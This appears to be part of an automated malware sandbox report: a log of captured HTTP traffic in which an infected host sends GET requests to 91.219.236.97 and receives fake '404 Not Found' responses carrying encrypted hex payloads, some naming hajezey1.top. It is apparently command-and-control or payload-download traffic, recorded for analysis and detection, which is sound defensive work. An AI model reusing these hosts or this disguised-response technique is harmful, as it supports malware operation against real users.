Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/019cd02588367c4185228009642767b5fca228df HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/07191d3d9db3dbffa0d8f6d32b0cace6fdafa466 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f0 1c b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 5f 9f 87 cd 29 80 78 51 a1 a2 8f 4c 3d d8 1c e0 32 02 50 08 e8 df e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 e1 8a 20 59 55 11 5c 03 25 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 5d ca cc 8a 44 d8 06 0e 45 67 14 7d 63 fb e0 04 89 f9 d4 57 80 90 70 89 ec 24 4d 6b 0e e1 a2 22 48 32 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 83 97 5f 96 da 19 d1 3a 2d 12 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 7d 87 4a 04 38 cd 78 14 2c de e8 b1 14 c5 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 c2 49 64 cd 25 5c 8d b7 1d 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 a5 32 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6e c9 ae d4 15 95 36 e1 48 50 67 7e 50 b8 81 be e5 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 